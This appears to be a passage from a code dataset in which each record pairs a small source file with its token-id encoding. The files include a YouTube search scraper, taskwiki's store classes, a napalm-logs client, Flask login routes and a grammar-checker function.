580,
1275,
4522,
10108,
29889,
11432,
13,
1678,
4974,
2582,
29889,
4906,
580,
1275,
28262,
296,
29898,
13,
4706,
9995,
29905,
13,
4706,
1134,
3198,
261,
5229,
313,
13322,
775,
29871,
29906,
29896,
467,
13,
4706,
3455,
654,
396,
29896,
448,
24170,
29883,
29947,
29889,
29896,
29901,
13,
13,
4706,
3455,
654,
396,
29906,
448,
24170,
29883,
29929,
29889,
29906,
29901,
13,
4706,
27591,
13,
4706,
380,
20405,
13,
13,
4706,
9995,
13,
1678,
1723,
13,
2
] |
Sych/ext/youtubeSearch.py | CNajm/SYCH-WhatsApp | 6 | 74634 | from bs4 import BeautifulSoup
import urllib.request
def SearchVid(search):
response = urllib.request.urlopen('https://www.youtube.com/results?search_query='+search.replace(" ", "%20"))
soup = BeautifulSoup(response, 'lxml')
divs = soup.find_all("div", { "class" : "yt-lockup-content"})
vids = []
for i in divs:
href = i.find('a', href=True)
x = href.text, "https://www.youtube.com"+href['href']
if not 'googleads.g.doubleclick.net' in href['href'] and not '&adurl=' in href['href']:
vids.append(x)
#print(vids)
return vids
| [
1,
515,
24512,
29946,
1053,
25685,
29903,
1132,
13,
5215,
3142,
1982,
29889,
3827,
13,
13,
1753,
11856,
29963,
333,
29898,
4478,
1125,
13,
1678,
2933,
353,
3142,
1982,
29889,
3827,
29889,
332,
417,
2238,
877,
991,
597,
1636,
29889,
19567,
29889,
510,
29914,
9902,
29973,
4478,
29918,
1972,
2433,
29974,
4478,
29889,
6506,
703,
9162,
11860,
29906,
29900,
5783,
13,
13,
1678,
22300,
353,
25685,
29903,
1132,
29898,
5327,
29892,
525,
29880,
3134,
1495,
13,
1678,
24641,
353,
22300,
29889,
2886,
29918,
497,
703,
4563,
613,
426,
376,
1990,
29908,
584,
376,
3637,
29899,
908,
786,
29899,
3051,
29908,
1800,
13,
13,
1678,
325,
4841,
353,
5159,
13,
1678,
363,
474,
297,
24641,
29901,
13,
4706,
2822,
353,
474,
29889,
2886,
877,
29874,
742,
2822,
29922,
5574,
29897,
13,
4706,
921,
353,
2822,
29889,
726,
29892,
29871,
376,
991,
597,
1636,
29889,
19567,
29889,
510,
17969,
12653,
1839,
12653,
2033,
13,
13,
4706,
565,
451,
525,
3608,
7925,
29889,
29887,
29889,
8896,
3808,
29889,
1212,
30430,
29915,
297,
2822,
1839,
12653,
2033,
322,
451,
525,
29987,
328,
2271,
2433,
297,
2822,
1839,
12653,
2033,
29901,
13,
9651,
325,
4841,
29889,
4397,
29898,
29916,
29897,
13,
1678,
396,
2158,
29898,
29894,
4841,
29897,
13,
1678,
736,
325,
4841,
13,
2
] |
tests/utils/test_classproperty.py | koskotG/ebonite | 270 | 70768 | <reponame>koskotG/ebonite
from ebonite.utils.classproperty import classproperty
class MyClass:
@classproperty
def prop1(self):
return 'a'
@classproperty
@classmethod
def prop2(self):
return 'b'
def test_classproperty__get():
assert MyClass.prop1 == 'a'
assert MyClass.prop2 == 'b'
| [
1,
529,
276,
1112,
420,
29958,
29895,
359,
29895,
327,
29954,
29914,
774,
265,
568,
13,
3166,
321,
6718,
568,
29889,
13239,
29889,
1990,
6799,
1053,
770,
6799,
13,
13,
13,
1990,
28603,
29901,
13,
1678,
732,
1990,
6799,
13,
1678,
822,
3107,
29896,
29898,
1311,
1125,
13,
4706,
736,
525,
29874,
29915,
13,
13,
1678,
732,
1990,
6799,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
3107,
29906,
29898,
1311,
1125,
13,
4706,
736,
525,
29890,
29915,
13,
13,
13,
1753,
1243,
29918,
1990,
6799,
1649,
657,
7295,
13,
1678,
4974,
28603,
29889,
7728,
29896,
1275,
525,
29874,
29915,
13,
1678,
4974,
28603,
29889,
7728,
29906,
1275,
525,
29890,
29915,
13,
2
] |
taskwiki/store.py | wolass/taskwiki | 465 | 173730 | <gh_stars>100-1000
from tasklib import TaskWarrior
from taskwiki import errors
class WarriorStore(object):
"""
Stores all instances of TaskWarrior objects.
"""
def __init__(self, default_rc, default_data, extra_warrior_defs):
default_kwargs = dict(
data_location=default_data,
taskrc_location=default_rc,
)
# Setup the store of TaskWarrior objects
self.warriors = {'default': TaskWarrior(**default_kwargs)}
for key in extra_warrior_defs.keys():
current_kwargs = default_kwargs.copy()
current_kwargs.update(extra_warrior_defs[key])
self.warriors[key] = TaskWarrior(**current_kwargs)
# Make sure context is not respected in any TaskWarrior
for tw in self.warriors.values():
tw.overrides.update({'context':''})
def __getitem__(self, key):
try:
return self.warriors[key]
except KeyError:
raise errors.TaskWikiException(
"Taskwarrior with key '{0}' not available."
.format(key))
def __setitem__(self, key, value):
self.warriors[key] = value
def values(self):
return self.warriors.values()
def items(self):
return self.warriors.items()
class NoNoneStore(object):
def __init__(self, cache):
self.cache = cache
self.store = dict()
def __getitem__(self, key):
item = self.store.get(key)
if item is None:
item = self.get_method(key)
# If we successfully obtained an item, save it to the cache
if item is not None:
self.store[key] = item
return item # May return None if the line has no task
def __setitem__(self, key, value):
# Never store None in the cache, treat it as deletion
if value is None:
del self[key]
return
# Otherwise store the given value
self.store[key] = value
def __delitem__(self, key):
if key in self.store:
del self.store[key]
def __contains__(self, key):
return key in self.store
def values(self):
return self.store.values()
def items(self):
return self.store.items()
def clear(self):
return self.store.clear()
class LineNumberedKeyedStoreMixin(object):
def shift(self, position, offset):
self.store = {
(i + offset if i >= position else i): self.store[i]
for i in self.store.keys()
}
def swap(self, position1, position2):
temp = self.store.get(position1)
self[position1] = self.store.get(position2)
self[position2] = temp
class TaskStore(NoNoneStore):
def get_method(self, key):
return key.tw.tasks.get(uuid=key.value)
class VwtaskStore(LineNumberedKeyedStoreMixin, NoNoneStore):
def shift(self, position, offset):
for line, vwtask in self.store.items():
if line >= position:
vwtask['line_number'] += offset
super(VwtaskStore, self).shift(position, offset)
def swap(self, position1, position2):
super(VwtaskStore, self).swap(position1, position2)
for index in (position1, position2):
if self.store.get(index) is not None:
self[index]['line_number'] = index
def get_method(self, line):
from taskwiki import vwtask
return vwtask.VimwikiTask.from_line(self.cache, line)
class ViewportStore(LineNumberedKeyedStoreMixin, NoNoneStore):
def shift(self, position, offset):
for line, viewport in self.store.items():
if line >= position:
viewport.line_number += offset
super(ViewportStore, self).shift(position, offset)
def swap(self, position1, position2):
super(ViewportStore, self).swap(position1, position2)
for index in (position1, position2):
if self.store.get(index) is not None:
self[index].line_number = index
def get_method(self, line):
import viewport
return viewport.ViewPort.from_line(line, self.cache)
class PresetStore(LineNumberedKeyedStoreMixin, NoNoneStore):
def get_method(self, line):
import preset
return preset.PresetHeader.from_line(line, self.cache)
class LineStore(NoNoneStore):
def __delitem__(self, number):
for cls, i in list(self.store.keys()):
if i == number:
del self.store[(cls, i)]
def get_method(self, key):
cls, line = key
return cls.parse_line(self.cache, line)
def shift(self, position, offset):
new_store = {
(cls, i + offset if i >= position else i): self.store[(cls, i)]
for cls, i in self.store.keys()
}
self.store = new_store
def swap(self, position1, position2):
temp_store1 = {
(cls, i): self.store[(cls, i)]
for cls, i in self.store.keys()
if i == position1
}
temp_store2 = {
(cls, i): self.store[(cls, i)]
for cls, i in self.store.keys()
if i == position2
}
for cls, i in list(self.store.keys()):
if i == position1 or i == position2:
del self.store[(cls, i)]
for cls, i in temp_store1.keys():
self.store[(cls, position2)] = temp_store1[(cls, i)]
for cls, i in temp_store2.keys():
self.store[(cls, position1)] = temp_store2[(cls, i)]
# Also change the actual line content
temp = self.cache.buffer[position1]
self.cache.buffer[position1] = self.cache.buffer[position2]
self.cache.buffer[position2] = temp
class CompletionStore(NoNoneStore):
def get_method(self, key):
from taskwiki import completion
return completion.Completion(key)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29900,
29899,
29896,
29900,
29900,
29900,
13,
3166,
3414,
1982,
1053,
9330,
29956,
279,
13479,
13,
13,
3166,
3414,
4594,
1053,
4436,
13,
13,
13,
1990,
3362,
13479,
9044,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
624,
2361,
599,
8871,
310,
9330,
29956,
279,
13479,
3618,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2322,
29918,
2214,
29892,
2322,
29918,
1272,
29892,
4805,
29918,
4495,
13479,
29918,
1753,
29879,
1125,
13,
4706,
2322,
29918,
19290,
353,
9657,
29898,
13,
9651,
848,
29918,
5479,
29922,
4381,
29918,
1272,
29892,
13,
9651,
3414,
2214,
29918,
5479,
29922,
4381,
29918,
2214,
29892,
13,
4706,
1723,
13,
13,
4706,
396,
3789,
786,
278,
3787,
310,
9330,
29956,
279,
13479,
3618,
13,
4706,
1583,
29889,
4495,
28739,
353,
11117,
4381,
2396,
9330,
29956,
279,
13479,
29898,
1068,
4381,
29918,
19290,
2915,
13,
13,
4706,
363,
1820,
297,
4805,
29918,
4495,
13479,
29918,
1753,
29879,
29889,
8149,
7295,
13,
9651,
1857,
29918,
19290,
353,
2322,
29918,
19290,
29889,
8552,
580,
13,
9651,
1857,
29918,
19290,
29889,
5504,
29898,
17833,
29918,
4495,
13479,
29918,
1753,
29879,
29961,
1989,
2314,
13,
9651,
1583,
29889,
4495,
28739,
29961,
1989,
29962,
353,
9330,
29956,
279,
13479,
29898,
1068,
3784,
29918,
19290,
29897,
13,
13,
4706,
396,
8561,
1854,
3030,
338,
451,
3390,
287,
297,
738,
9330,
29956,
279,
13479,
13,
4706,
363,
3252,
297,
1583,
29889,
4495,
28739,
29889,
5975,
7295,
13,
9651,
3252,
29889,
957,
24040,
29889,
5504,
3319,
29915,
4703,
2396,
4907,
1800,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
1820,
1125,
13,
4706,
1018,
29901,
13,
9651,
736,
1583,
29889,
4495,
28739,
29961,
1989,
29962,
13,
4706,
5174,
7670,
2392,
29901,
13,
9651,
12020,
4436,
29889,
5398,
5653,
29875,
2451,
29898,
13,
18884,
376,
5398,
4495,
13479,
411,
1820,
22372,
29900,
10162,
451,
3625,
1213,
13,
18884,
869,
4830,
29898,
1989,
876,
13,
13,
13,
1678,
822,
4770,
842,
667,
12035,
1311,
29892,
1820,
29892,
995,
1125,
13,
4706,
1583,
29889,
4495,
28739,
29961,
1989,
29962,
353,
995,
13,
13,
1678,
822,
1819,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
4495,
28739,
29889,
5975,
580,
13,
13,
1678,
822,
4452,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
4495,
28739,
29889,
7076,
580,
13,
13,
13,
1990,
1939,
8516,
9044,
29898,
3318,
1125,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
7090,
1125,
13,
4706,
1583,
29889,
8173,
353,
7090,
13,
4706,
1583,
29889,
8899,
353,
9657,
580,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
1820,
1125,
13,
4706,
2944,
353,
1583,
29889,
8899,
29889,
657,
29898,
1989,
29897,
13,
13,
4706,
565,
2944,
338,
6213,
29901,
13,
9651,
2944,
353,
1583,
29889,
657,
29918,
5696,
29898,
1989,
29897,
13,
13,
4706,
396,
960,
591,
8472,
7625,
385,
2944,
29892,
4078,
372,
304,
278,
7090,
13,
4706,
565,
2944,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
8899,
29961,
1989,
29962,
353,
2944,
13,
13,
4706,
736,
2944,
29871,
396,
2610,
736,
6213,
565,
278,
1196,
756,
694,
3414,
13,
13,
1678,
822,
4770,
842,
667,
12035,
1311,
29892,
1820,
29892,
995,
1125,
13,
4706,
396,
12391,
3787,
6213,
297,
278,
7090,
29892,
7539,
372,
408,
7374,
291,
13,
4706,
565,
995,
338,
6213,
29901,
13,
9651,
628,
1583,
29961,
1989,
29962,
13,
9651,
736,
13,
13,
4706,
396,
13466,
3787,
278,
2183,
995,
13,
4706,
1583,
29889,
8899,
29961,
1989,
29962,
353,
995,
13,
13,
1678,
822,
4770,
6144,
667,
12035,
1311,
29892,
1820,
1125,
13,
4706,
565,
1820,
297,
1583,
29889,
8899,
29901,
13,
9651,
628,
1583,
29889,
8899,
29961,
1989,
29962,
13,
13,
1678,
822,
4770,
11516,
12035,
1311,
29892,
1820,
1125,
13,
4706,
736,
1820,
297,
1583,
29889,
8899,
13,
13,
1678,
822,
1819,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
8899,
29889,
5975,
580,
13,
13,
1678,
822,
4452,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
8899,
29889,
7076,
580,
13,
13,
1678,
822,
2821,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
8899,
29889,
8551,
580,
13,
13,
1990,
7407,
4557,
287,
2558,
287,
9044,
29924,
861,
262,
29898,
3318,
1125,
13,
13,
1678,
822,
9500,
29898,
1311,
29892,
2602,
29892,
9210,
1125,
13,
4706,
1583,
29889,
8899,
353,
426,
13,
9651,
313,
29875,
718,
9210,
565,
474,
6736,
2602,
1683,
474,
1125,
1583,
29889,
8899,
29961,
29875,
29962,
13,
9651,
363,
474,
297,
1583,
29889,
8899,
29889,
8149,
580,
13,
4706,
500,
13,
13,
1678,
822,
17945,
29898,
1311,
29892,
2602,
29896,
29892,
2602,
29906,
1125,
13,
4706,
5694,
353,
1583,
29889,
8899,
29889,
657,
29898,
3283,
29896,
29897,
13,
4706,
1583,
29961,
3283,
29896,
29962,
353,
1583,
29889,
8899,
29889,
657,
29898,
3283,
29906,
29897,
13,
4706,
1583,
29961,
3283,
29906,
29962,
353,
5694,
13,
13,
1990,
9330,
9044,
29898,
3782,
8516,
9044,
1125,
13,
13,
1678,
822,
679,
29918,
5696,
29898,
1311,
29892,
1820,
1125,
13,
4706,
736,
1820,
29889,
7516,
29889,
20673,
29889,
657,
29898,
25118,
29922,
1989,
29889,
1767,
29897,
13,
13,
13,
1990,
478,
29893,
7662,
9044,
29898,
3542,
4557,
287,
2558,
287,
9044,
29924,
861,
262,
29892,
1939,
8516,
9044,
1125,
13,
13,
1678,
822,
9500,
29898,
1311,
29892,
2602,
29892,
9210,
1125,
13,
4706,
363,
1196,
29892,
325,
29893,
7662,
297,
1583,
29889,
8899,
29889,
7076,
7295,
13,
9651,
565,
1196,
6736,
2602,
29901,
13,
18884,
325,
29893,
7662,
1839,
1220,
29918,
4537,
2033,
4619,
9210,
13,
13,
4706,
2428,
29898,
29963,
29893,
7662,
9044,
29892,
1583,
467,
10889,
29898,
3283,
29892,
9210,
29897,
13,
13,
1678,
822,
17945,
29898,
1311,
29892,
2602,
29896,
29892,
2602,
29906,
1125,
13,
4706,
2428,
29898,
29963,
29893,
7662,
9044,
29892,
1583,
467,
26276,
29898,
3283,
29896,
29892,
2602,
29906,
29897,
13,
13,
4706,
363,
2380,
297,
313,
3283,
29896,
29892,
2602,
29906,
1125,
13,
9651,
565,
1583,
29889,
8899,
29889,
657,
29898,
2248,
29897,
338,
451,
6213,
29901,
13,
18884,
1583,
29961,
2248,
22322,
1220,
29918,
4537,
2033,
353,
2380,
13,
13,
1678,
822,
679,
29918,
5696,
29898,
1311,
29892,
1196,
1125,
13,
4706,
515,
3414,
4594,
1053,
325,
29893,
7662,
13,
4706,
736,
325,
29893,
7662,
29889,
29963,
326,
4594,
5398,
29889,
3166,
29918,
1220,
29898,
1311,
29889,
8173,
29892,
1196,
29897,
13,
13,
13,
1990,
4533,
637,
9044,
29898,
3542,
4557,
287,
2558,
287,
9044,
29924,
861,
262,
29892,
1939,
8516,
9044,
1125,
13,
13,
1678,
822,
9500,
29898,
1311,
29892,
2602,
29892,
9210,
1125,
13,
4706,
363,
1196,
29892,
1776,
637,
297,
1583,
29889,
8899,
29889,
7076,
7295,
13,
9651,
565,
1196,
6736,
2602,
29901,
13,
18884,
1776,
637,
29889,
1220,
29918,
4537,
4619,
9210,
13,
13,
4706,
2428,
29898,
1043,
637,
9044,
29892,
1583,
467,
10889,
29898,
3283,
29892,
9210,
29897,
13,
13,
1678,
822,
17945,
29898,
1311,
29892,
2602,
29896,
29892,
2602,
29906,
1125,
13,
4706,
2428,
29898,
1043,
637,
9044,
29892,
1583,
467,
26276,
29898,
3283,
29896,
29892,
2602,
29906,
29897,
13,
13,
4706,
363,
2380,
297,
313,
3283,
29896,
29892,
2602,
29906,
1125,
13,
9651,
565,
1583,
29889,
8899,
29889,
657,
29898,
2248,
29897,
338,
451,
6213,
29901,
13,
18884,
1583,
29961,
2248,
1822,
1220,
29918,
4537,
353,
2380,
13,
13,
1678,
822,
679,
29918,
5696,
29898,
1311,
29892,
1196,
1125,
13,
4706,
1053,
1776,
637,
13,
4706,
736,
1776,
637,
29889,
1043,
2290,
29889,
3166,
29918,
1220,
29898,
1220,
29892,
1583,
29889,
8173,
29897,
13,
13,
13,
1990,
4360,
300,
9044,
29898,
3542,
4557,
287,
2558,
287,
9044,
29924,
861,
262,
29892,
1939,
8516,
9044,
1125,
13,
13,
1678,
822,
679,
29918,
5696,
29898,
1311,
29892,
1196,
1125,
13,
4706,
1053,
2225,
300,
13,
4706,
736,
2225,
300,
29889,
29925,
12071,
7850,
29889,
3166,
29918,
1220,
29898,
1220,
29892,
1583,
29889,
8173,
29897,
13,
13,
13,
1990,
7407,
9044,
29898,
3782,
8516,
9044,
1125,
13,
13,
1678,
822,
4770,
6144,
667,
12035,
1311,
29892,
1353,
1125,
13,
4706,
363,
1067,
29879,
29892,
474,
297,
1051,
29898,
1311,
29889,
8899,
29889,
8149,
580,
1125,
13,
9651,
565,
474,
1275,
1353,
29901,
13,
18884,
628,
1583,
29889,
8899,
15625,
25932,
29892,
474,
4638,
13,
13,
1678,
822,
679,
29918,
5696,
29898,
1311,
29892,
1820,
1125,
13,
4706,
1067,
29879,
29892,
1196,
353,
1820,
13,
4706,
736,
1067,
29879,
29889,
5510,
29918,
1220,
29898,
1311,
29889,
8173,
29892,
1196,
29897,
13,
13,
1678,
822,
9500,
29898,
1311,
29892,
2602,
29892,
9210,
1125,
13,
4706,
716,
29918,
8899,
353,
426,
13,
9651,
313,
25932,
29892,
474,
718,
9210,
565,
474,
6736,
2602,
1683,
474,
1125,
1583,
29889,
8899,
15625,
25932,
29892,
474,
4638,
13,
9651,
363,
1067,
29879,
29892,
474,
297,
1583,
29889,
8899,
29889,
8149,
580,
13,
4706,
500,
13,
13,
4706,
1583,
29889,
8899,
353,
716,
29918,
8899,
13,
13,
1678,
822,
17945,
29898,
1311,
29892,
2602,
29896,
29892,
2602,
29906,
1125,
13,
4706,
5694,
29918,
8899,
29896,
353,
426,
13,
9651,
313,
25932,
29892,
474,
1125,
1583,
29889,
8899,
15625,
25932,
29892,
474,
4638,
13,
9651,
363,
1067,
29879,
29892,
474,
297,
1583,
29889,
8899,
29889,
8149,
580,
13,
9651,
565,
474,
1275,
2602,
29896,
13,
4706,
500,
13,
13,
4706,
5694,
29918,
8899,
29906,
353,
426,
13,
9651,
313,
25932,
29892,
474,
1125,
1583,
29889,
8899,
15625,
25932,
29892,
474,
4638,
13,
9651,
363,
1067,
29879,
29892,
474,
297,
1583,
29889,
8899,
29889,
8149,
580,
13,
9651,
565,
474,
1275,
2602,
29906,
13,
4706,
500,
13,
13,
4706,
363,
1067,
29879,
29892,
474,
297,
1051,
29898,
1311,
29889,
8899,
29889,
8149,
580,
1125,
13,
9651,
565,
474,
1275,
2602,
29896,
470,
474,
1275,
2602,
29906,
29901,
13,
18884,
628,
1583,
29889,
8899,
15625,
25932,
29892,
474,
4638,
13,
13,
4706,
363,
1067,
29879,
29892,
474,
297,
5694,
29918,
8899,
29896,
29889,
8149,
7295,
13,
9651,
1583,
29889,
8899,
15625,
25932,
29892,
2602,
29906,
4638,
353,
5694,
29918,
8899,
29896,
15625,
25932,
29892,
474,
4638,
13,
13,
4706,
363,
1067,
29879,
29892,
474,
297,
5694,
29918,
8899,
29906,
29889,
8149,
7295,
13,
9651,
1583,
29889,
8899,
15625,
25932,
29892,
2602,
29896,
4638,
353,
5694,
29918,
8899,
29906,
15625,
25932,
29892,
474,
4638,
13,
13,
4706,
396,
3115,
1735,
278,
3935,
1196,
2793,
13,
4706,
5694,
353,
1583,
29889,
8173,
29889,
9040,
29961,
3283,
29896,
29962,
13,
4706,
1583,
29889,
8173,
29889,
9040,
29961,
3283,
29896,
29962,
353,
1583,
29889,
8173,
29889,
9040,
29961,
3283,
29906,
29962,
13,
4706,
1583,
29889,
8173,
29889,
9040,
29961,
3283,
29906,
29962,
353,
5694,
13,
13,
13,
1990,
15642,
12757,
9044,
29898,
3782,
8516,
9044,
1125,
13,
13,
1678,
822,
679,
29918,
5696,
29898,
1311,
29892,
1820,
1125,
13,
4706,
515,
3414,
4594,
1053,
13285,
13,
4706,
736,
13285,
29889,
28958,
29898,
1989,
29897,
13,
2
] |
examples/client_no_auth.py | bittsi/napalm-logs | 0 | 196997 | #!/usr/bin/env python
'''
napalm-logs client, without authentication.
Listens to the napalm-logs server started using the following settings:
napalm-logs --publish-address 127.0.0.0.1
--publish-port 49017
--transport zmq
--disable-security
This client example listens to messages published via ZeroMQ (default transport).
'''
import zmq
import napalm_logs.utils
server_address = '127.0.0.1' # --publish-address
server_port = 49017 # --publish-port
# Using zmq
context = zmq.Context()
socket = context.socket(zmq.SUB)
socket.connect('tcp://{address}:{port}'.format(address=server_address,
port=server_port))
socket.setsockopt(zmq.SUBSCRIBE, '')
while True:
raw_object = socket.recv()
print(napalm_logs.utils.unserialize(raw_object))
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
12008,
13,
8971,
17120,
29899,
20756,
3132,
29892,
1728,
10760,
29889,
13,
13,
1293,
575,
304,
278,
9709,
17120,
29899,
20756,
1923,
4687,
773,
278,
1494,
6055,
29901,
13,
13,
8971,
17120,
29899,
20756,
1192,
23679,
29899,
7328,
29871,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29900,
29889,
29896,
13,
9651,
1192,
23679,
29899,
637,
29871,
29946,
29929,
29900,
29896,
29955,
13,
9651,
1192,
27882,
12162,
29939,
13,
9651,
1192,
20472,
29899,
8926,
13,
13,
4013,
3132,
1342,
1051,
575,
304,
7191,
6369,
3025,
28933,
25566,
313,
4381,
8608,
467,
13,
12008,
13,
5215,
12162,
29939,
13,
5215,
9709,
17120,
29918,
20756,
29889,
13239,
13,
13,
2974,
29918,
7328,
353,
525,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
29915,
29871,
396,
1192,
23679,
29899,
7328,
13,
2974,
29918,
637,
353,
29871,
29946,
29929,
29900,
29896,
29955,
965,
396,
1192,
23679,
29899,
637,
13,
13,
29937,
5293,
12162,
29939,
13,
4703,
353,
12162,
29939,
29889,
2677,
580,
13,
11514,
353,
3030,
29889,
11514,
29898,
14018,
29939,
29889,
20633,
29897,
13,
11514,
29889,
6915,
877,
23981,
597,
29912,
7328,
6177,
29912,
637,
29913,
4286,
4830,
29898,
7328,
29922,
2974,
29918,
7328,
29892,
13,
462,
462,
1669,
2011,
29922,
2974,
29918,
637,
876,
13,
11514,
29889,
842,
21852,
3670,
29898,
14018,
29939,
29889,
20633,
7187,
3960,
15349,
29892,
27255,
13,
13,
8000,
5852,
29901,
13,
1678,
10650,
29918,
3318,
353,
9909,
29889,
3757,
29894,
580,
13,
1678,
1596,
29898,
8971,
17120,
29918,
20756,
29889,
13239,
29889,
348,
643,
6646,
29898,
1610,
29918,
3318,
876,
13,
2
] |
spikes/how_to_test/sut/app/routes.py | jamoroch/maybe | 0 | 89035 | from flask import render_template, flash, redirect, url_for
from app import app
from app.forms import LoginForm
@app.route('/')
@app.route('/index')
def index():
user = {'username':'Juan'}
return render_template('index.html', user = user)
@app.route('/login', methods = ['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
flash('Login request for user {}'.format(form.username.data))
return redirect(url_for('index'))
return render_template('login.html', form = form) | [
1,
515,
29784,
1053,
4050,
29918,
6886,
29892,
11013,
29892,
6684,
29892,
3142,
29918,
1454,
13,
3166,
623,
1053,
623,
13,
3166,
623,
29889,
9514,
1053,
19130,
2500,
13,
29992,
932,
29889,
13134,
11219,
1495,
13,
29992,
932,
29889,
13134,
11219,
2248,
1495,
13,
1753,
2380,
7295,
13,
29871,
1404,
353,
11117,
6786,
22099,
29967,
12323,
10827,
13,
29871,
736,
4050,
29918,
6886,
877,
2248,
29889,
1420,
742,
1404,
353,
1404,
29897,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
7507,
742,
3519,
353,
6024,
7194,
742,
525,
5438,
11287,
13,
1753,
6464,
7295,
13,
29871,
883,
353,
19130,
2500,
580,
13,
29871,
565,
883,
29889,
15480,
29918,
265,
29918,
7892,
7295,
13,
1678,
11013,
877,
11049,
2009,
363,
1404,
6571,
4286,
4830,
29898,
689,
29889,
6786,
29889,
1272,
876,
13,
1678,
736,
6684,
29898,
2271,
29918,
1454,
877,
2248,
8785,
13,
29871,
736,
4050,
29918,
6886,
877,
7507,
29889,
1420,
742,
883,
353,
883,
29897,
2
] |
core-python/Core_Python/loop/ForElse.py | theumang100/tutorials-1 | 9 | 127911 | n = int (input('Enter a number for prime number series : '))
for i in range(2,n):
for j in range(2,i):
if i % j == 0:
print(i,"is not a prime number because",j,"*",i//j,"=",i)
break
else:
print(i,"is a prime number") | [
1,
302,
353,
938,
313,
2080,
877,
10399,
263,
1353,
363,
6019,
1353,
3652,
584,
525,
876,
13,
1454,
474,
297,
3464,
29898,
29906,
29892,
29876,
1125,
13,
1678,
363,
432,
297,
3464,
29898,
29906,
29892,
29875,
1125,
13,
4706,
565,
474,
1273,
432,
1275,
29871,
29900,
29901,
13,
9651,
1596,
29898,
29875,
1699,
275,
451,
263,
6019,
1353,
1363,
613,
29926,
1699,
29930,
613,
29875,
458,
29926,
1699,
543,
29892,
29875,
29897,
13,
9651,
2867,
13,
1678,
1683,
29901,
13,
4706,
1596,
29898,
29875,
1699,
275,
263,
6019,
1353,
1159,
2
] |
src/grammar_learner/grammar_checker.py | vsbogd/language-learning | 21 | 1605427 | <gh_stars>10-100
# language-learning/src/preprocessing.py # parses cleanup & filtering # 190412
from collections import OrderedDict
from .read_files import check_ull
from .preprocessing import read_files, parse_ull
def _compare_lg_dicts_(**kwargs):
""" compares test and reference Link Grammar .dict files
:param kwargs: '
:return: (precision, recall, F1)
"""
re = OrderedDict([('_compare_lg_dicts_', 'v.0.1.1 190412')])
# Preserve input_path
if 'input_path' in kwargs: input_path = kwargs['input_path']
else: input_path = ''
# Get links for the reference_ull » ref_set: set of links in reference file
if 'reference_path' in kwargs: # and check_ull(kwargs['reference_path']):
kwargs['input_path'] = kwargs['reference_path']
# ull_string: ull parses file(s) read as a string with '\n' delimited lines
ull_string, re_ = read_files(**kwargs)
# TODO: re.update(re_) # TODO: identify ref / test sets!
# sentences: [[str, str, ...], ...]; sl: sentence links: [(1, 2, 1.0), ...]
sentences, slinks, re_ = parse_ull(ull_string, **kwargs)
re.update([('reference_sentences', len(slinks))])
# TODO: re.update(re_)
ref_set = set([tuple([i+1, l[0], l[1]])
for i, sl in enumerate(slinks) for l in sl])
else: return 0.0, 0.0, 0.0, {'error': 'wrong kwargs["reference_path"]',
'reference_path': kwargs['reference_path']}
# Get links for the test_ull » ref_set: set of links in reference file
if 'test_path' in kwargs and check_ull(kwargs['test_path']):
kwargs['input_path'] = kwargs['test_path']
ull_string, re_ = read_files(**kwargs)
# TODO: re.update(re_)
sentences, slinks, re_ = parse_ull(ull_string, **kwargs)
re.update([('test_ull_sentences', len(slinks))])
# TODO: re.update(re_)
tst_set = set([tuple([i+1, l[0], l[1]])
for i, sl in enumerate(slinks) for l in sl])
else: return 0.0, 0.0, 0.0, {'error': 'wrong kwargs["test_path"]',
'test_path': kwargs['test_path']}
true_positives = tst_set & ref_set
precision = len(true_positives) / len(tst_set)
recall = len(true_positives) / len(ref_set)
f1 = 2 * precision * recall / (precision + recall)
re.update([('precision', precision), ('recall', recall), ('F1', f1)])
# Restore preserved input_path
if 'input_path' != '': kwargs['input_path'] = input_path
return precision, recall, f1, re
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
29937,
4086,
29899,
21891,
29914,
4351,
29914,
1457,
19170,
29889,
2272,
29871,
396,
610,
29879,
267,
5941,
786,
669,
21166,
29871,
396,
29871,
29896,
29929,
29900,
29946,
29896,
29906,
13,
3166,
16250,
1053,
8170,
287,
21533,
13,
3166,
869,
949,
29918,
5325,
1053,
1423,
29918,
913,
13,
3166,
869,
1457,
19170,
1053,
1303,
29918,
5325,
29892,
6088,
29918,
913,
13,
13,
13,
1753,
903,
18307,
29918,
19920,
29918,
8977,
29879,
23538,
1068,
19290,
1125,
13,
1678,
9995,
752,
5114,
1243,
322,
3407,
6645,
16878,
3034,
869,
8977,
2066,
13,
1678,
584,
3207,
9049,
5085,
29901,
525,
13,
1678,
584,
2457,
29901,
4706,
313,
17990,
2459,
29892,
17386,
29892,
383,
29896,
29897,
13,
1678,
9995,
13,
1678,
337,
353,
8170,
287,
21533,
4197,
877,
29918,
18307,
29918,
19920,
29918,
8977,
29879,
29918,
742,
525,
29894,
29889,
29900,
29889,
29896,
29889,
29896,
29871,
29896,
29929,
29900,
29946,
29896,
29906,
1495,
2314,
13,
1678,
396,
4360,
7143,
1881,
29918,
2084,
13,
1678,
565,
525,
2080,
29918,
2084,
29915,
297,
9049,
5085,
29901,
1881,
29918,
2084,
353,
9049,
5085,
1839,
2080,
29918,
2084,
2033,
13,
1678,
1683,
29901,
1881,
29918,
2084,
353,
6629,
13,
13,
1678,
396,
3617,
2988,
363,
278,
3407,
29918,
913,
2047,
2143,
29918,
842,
29901,
731,
310,
2988,
297,
3407,
934,
13,
1678,
565,
525,
5679,
29918,
2084,
29915,
297,
9049,
5085,
